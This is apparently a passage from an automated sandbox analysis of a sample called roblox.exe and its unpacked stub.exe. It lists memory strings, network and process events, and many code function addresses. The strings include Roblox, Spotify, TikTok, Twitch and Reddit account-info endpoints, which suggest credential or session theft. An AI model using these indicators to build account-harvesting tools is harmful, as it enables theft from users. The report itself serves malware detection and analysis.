Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.ibm.com/
Source: stub.exe, 00000003.00000002.2575588410.000002895A964000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A394000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: stub.exe, 00000003.00000002.2575588410.000002895A8C0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A394000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADDA0000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579987967.00007FF8A81DA000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2567659423.00000289595C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573146194.0000028959B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0506/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.reddit.com/user/acomment_karmaatotal_karmaais_modais_goldais_suspendedaprofileUrlu
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.roblox.com/my/account/jsonuhttps://economy.roblox.com/v1/users/aresaUserIdu/currencyuhtt
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profileatextaloadsaprofileagenderabirthdateu
Source: stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.twitch.tv/adisplayNameahasPrimeaisPartneralanguageaprofileImageURLabitsBalanceatotalCoun
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.variomedia.de/
Source: stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7CC12F0	3_2_00007FF8A7CC12F0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7CC1930	3_2_00007FF8A7CC1930
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE60DC	3_2_00007FF8A7DE60DC
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5E25	3_2_00007FF8A7DE5E25
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6FFF	3_2_00007FF8A7DE6FFF
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1A4B	3_2_00007FF8A7DE1A4B
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F82C40	3_2_00007FF8A7F82C40
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5B0F	3_2_00007FF8A7DE5B0F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4633	3_2_00007FF8A7DE4633
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1B31	3_2_00007FF8A7DE1B31
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4746	3_2_00007FF8A7DE4746
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4359	3_2_00007FF8A7DE4359
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE378D	3_2_00007FF8A7DE378D
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE213F	3_2_00007FF8A7DE213F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFF060	3_2_00007FF8A7DFF060
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE72C5	3_2_00007FF8A7DE72C5
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE57D1	3_2_00007FF8A7DE57D1
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1B22	3_2_00007FF8A7DE1B22
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFEF00	3_2_00007FF8A7DFEF00
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F16310	3_2_00007FF8A7F16310
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7EC2EB0	3_2_00007FF8A7EC2EB0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3486	3_2_00007FF8A7DE3486
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4D04	3_2_00007FF8A7DE4D04
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3693	3_2_00007FF8A7DE3693
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE707C	3_2_00007FF8A7DE707C
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5DA3	3_2_00007FF8A7DE5DA3
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5A60	3_2_00007FF8A7DE5A60
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1CC1	3_2_00007FF8A7DE1CC1
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4E4E	3_2_00007FF8A7DE4E4E
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F12850	3_2_00007FF8A7F12850
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F6E870	3_2_00007FF8A7F6E870
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE23F1	3_2_00007FF8A7DE23F1
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7E0B850	3_2_00007FF8A7E0B850
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3FDA	3_2_00007FF8A7DE3FDA
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6A87	3_2_00007FF8A7DE6A87
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE655F	3_2_00007FF8A7DE655F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F83B80	3_2_00007FF8A7F83B80
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F97BC0	3_2_00007FF8A7F97BC0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F17CD0	3_2_00007FF8A7F17CD0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5169	3_2_00007FF8A7DE5169
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7E0B4C0	3_2_00007FF8A7E0B4C0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE30C1	3_2_00007FF8A7DE30C1
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5D8A	3_2_00007FF8A7DE5D8A
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6EF1	3_2_00007FF8A7DE6EF1
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE32E7	3_2_00007FF8A7DE32E7
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE29CD	3_2_00007FF8A7DE29CD
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2766	3_2_00007FF8A7DE2766
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFF200	3_2_00007FF8A7DFF200
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F10010	3_2_00007FF8A7F10010
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE114F	3_2_00007FF8A7DE114F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4C37	3_2_00007FF8A7DE4C37
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4101	3_2_00007FF8A7DE4101
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F1B200	3_2_00007FF8A7F1B200
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2289	3_2_00007FF8A7DE2289
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFBF20	3_2_00007FF8A7DFBF20
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6CBC	3_2_00007FF8A7DE6CBC
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFBD60	3_2_00007FF8A7DFBD60
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3B93	3_2_00007FF8A7DE3B93
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F174F0	3_2_00007FF8A7F174F0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE704A	3_2_00007FF8A7DE704A
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4165	3_2_00007FF8A7DE4165
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A801F7D0	3_2_00007FF8A801F7D0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1EA1	3_2_00007FF8A7DE1EA1
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7E4FA00	3_2_00007FF8A7E4FA00
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6F28	3_2_00007FF8A7DE6F28
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE60A0	3_2_00007FF8A7DE60A0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE21B7	3_2_00007FF8A7DE21B7
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE22E8	3_2_00007FF8A7DE22E8
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE22AC	3_2_00007FF8A7DE22AC
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE275C	3_2_00007FF8A7DE275C
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE69E7	3_2_00007FF8A7DE69E7
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE25EF	3_2_00007FF8A7DE25EF
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6C21	3_2_00007FF8A7DE6C21
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7E90750	3_2_00007FF8A7E90750
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE11CC	3_2_00007FF8A7DE11CC
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6D5C	3_2_00007FF8A7DE6D5C
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F94BC0	3_2_00007FF8A7F94BC0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFC620	3_2_00007FF8A7DFC620
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2C75	3_2_00007FF8A7DE2C75
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFC480	3_2_00007FF8A7DFC480
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1217	3_2_00007FF8A7DE1217
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE10AA	3_2_00007FF8A7DE10AA
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2E8C	3_2_00007FF8A7DE2E8C
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE65A0	3_2_00007FF8A7DE65A0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4403	3_2_00007FF8A7DE4403
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE144C	3_2_00007FF8A7DE144C
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5B73	3_2_00007FF8A7DE5B73
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6EBF	3_2_00007FF8A7DE6EBF
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE362F	3_2_00007FF8A7DE362F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1140	3_2_00007FF8A7DE1140
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F20300	3_2_00007FF8A7F20300
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE592F	3_2_00007FF8A7DE592F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1424	3_2_00007FF8A7DE1424
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE22FC	3_2_00007FF8A7DE22FC
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F98490	3_2_00007FF8A7F98490
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE26E9	3_2_00007FF8A7DE26E9
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4C14	3_2_00007FF8A7DE4C14
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2FCC	3_2_00007FF8A7DE2FCC
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2D74	3_2_00007FF8A7DE2D74
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4B56	3_2_00007FF8A7DE4B56
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4A53	3_2_00007FF8A7DE4A53
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F0C7D0	3_2_00007FF8A7F0C7D0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE177B	3_2_00007FF8A7DE177B
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE216C	3_2_00007FF8A7DE216C
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4F3E	3_2_00007FF8A7DE4F3E
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1299	3_2_00007FF8A7DE1299
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE638E	3_2_00007FF8A7DE638E
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F81AD0	3_2_00007FF8A7F81AD0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3A8F	3_2_00007FF8A7DE3A8F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5510	3_2_00007FF8A7DE5510
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F99B90	3_2_00007FF8A7F99B90
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5047	3_2_00007FF8A7DE5047
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4287	3_2_00007FF8A7DE4287
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE50AB	3_2_00007FF8A7DE50AB
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE560F	3_2_00007FF8A7DE560F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5BF0	3_2_00007FF8A7DE5BF0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE7257	3_2_00007FF8A7DE7257
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE44C6	3_2_00007FF8A7DE44C6
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE266C	3_2_00007FF8A7DE266C
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE710D	3_2_00007FF8A7DE710D
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2D0B	3_2_00007FF8A7DE2D0B
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DFD260	3_2_00007FF8A7DFD260
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7E05200	3_2_00007FF8A7E05200
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F16010	3_2_00007FF8A7F16010
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1F96	3_2_00007FF8A7DE1F96
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3189	3_2_00007FF8A7DE3189
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F0D170	3_2_00007FF8A7F0D170
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F21170	3_2_00007FF8A7F21170
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1622	3_2_00007FF8A7DE1622
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE72AC	3_2_00007FF8A7DE72AC
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE68CA	3_2_00007FF8A7DE68CA
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3BA2	3_2_00007FF8A7DE3BA2
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F993C0	3_2_00007FF8A7F993C0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1CFD	3_2_00007FF8A7DE1CFD
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3832	3_2_00007FF8A7DE3832
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2982	3_2_00007FF8A7DE2982
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE53A8	3_2_00007FF8A7DE53A8
